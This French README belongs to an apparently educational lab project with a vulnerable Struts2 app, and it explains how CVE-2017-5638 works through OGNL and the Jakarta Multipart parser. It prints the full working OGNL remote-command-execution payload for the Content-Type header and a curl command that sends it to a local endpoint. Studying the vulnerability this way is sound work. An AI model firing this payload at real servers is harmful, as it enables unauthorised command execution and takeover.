
Application Struts2 vulnérable à CVE-2017-5638. Explique comment l'exploit de la vulnérabilité fonctionne en relation avec OGNL et l'analyseur JakartaMultiPart.
Ceci est destiné uniquement à des fins éducatives et de recherche. Je n'autorise ni n'approuve aucune utilisation illégale ou contraire à l'éthique du contenu ou des informations de ce projet.
Pour exécuter l'application web :
Pour envoyer des commandes, utilisez l'émulateur en ligne de commande (Send.jar) projet :
l'URL vide par défaut est http://localhost:8080/MSCybersecurity/exploit, vous devez être sur le point de terminaison /exploit

Si vous souhaitez modifier cette source, le projet utilise le système de build Maven :
NVD CVE-2017-5638
L'aspect ingénieux de cette vulnérabilité est l'exploitation d'OGNL (Object Graph Navigation Library).
OGNL utilise des expressions pour effectuer des tâches, et deux des expressions autorisées sont la capacité d'invoquer des classes arbitraires dans le framework et d'enchaîner des événements. Guide de référence OGNL Language Guide.
Ainsi, par exemple, il est possible d'instancier l'objet edu.uvu.ms.cybersecurity.Command avec OGNL
// OGNL expression to instantiate Command obj
(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity'))
La classe edu.uvu.ms.cybersecurity.Command
// Command simply prints the cmd argument passed from the OGNL expression
public class Command {
private Object cmd;
public Command(Object cmd){
this.cmd = cmd;
}
private void print(){
System.out.println("OGNL recieved cmd: "+this.cmd);
}
public void print(String loc){
System.out.println("OGNL recieved cmd: "+this.cmd+" from "+loc);
}
}
Ou, dans un sens plus pratique, on peut invoquer la classe java.lang.ProcessBuilder pour exécuter des commandes système
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())
La charge utile suivante contient une commande pour invoquer edu.uvu.ms.cybersecurity.Command et afficher la commande émise au serveur dans la console, puis procéder à l'exécution de la commande. (pour illustrer l'enchaînement d'événements et l'invocation de classes)
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Livrez la charge utile avec CURL
curl -H "Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#p=new edu.uvu.ms.cybersecurity.Command(#cmd)).(#p.print('hello from MSCybersecurity')).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" -X POST http://localhost:8080/MSCybersecurity/exploit
Une partie de cette charge utile a été extraite de Rapid7 GitHub
Le parseur Jakarta MultiPart :
Le problème réside dans le fait que le parseur n'échappe pas les valeurs entrantes dans l'en-tête Content-Type. Cela signifie qu'une expression OGNL peut être encapsulée dans l'en-tête Content. Lorsque l'en-tête est déterminé comme étant MultiPart, il l'envoie à OgnlTextParser.class, qui interprète simplement l'expression OGNL et finit par exécuter des commandes arbitraires.
Ce qui suit est un examen étape par étape de la façon dont cette vulnérabilité est exploitée.
Le Struts2 Dispatcher : org.apache.struts2.dispatcher.Dispatcher
Le Dispatcher.class de Struts reçoit la requête et détermine qu'elle doit être traitée par la bibliothèque JakartaMultiPart et invoque le constructeur MultiPartRequestWrapper()

L'expression OGNL de l'en-tête Content-Type est ensuite passée dans la méthode parse(). Comme les informations d'en-tête sont erronées, le parseur lèvera une exception et appellera la méthode buildErrorMessage()

La méthode buildErrorMessage() tente de trouver un message d'erreur approprié à renvoyer à l'utilisateur, mais pour ce faire, elle doit utiliser la méthode findText() de LocalizedTextUtil.class

La méthode findText de LocalizedTextUtil.class appellera à son tour getDefaultMessage() et transmettra les informations Content-Type

La méthode getDefaultMessage() déléguera ensuite à la méthode translateVariables() de TextParseUtil.class

La méthode translateVariables() de TextParseUtil.class délègue à la méthode evaluate de OgnlTextParser.class

Le résultat étant que toutes les expressions OGNL sont maintenant exécutées
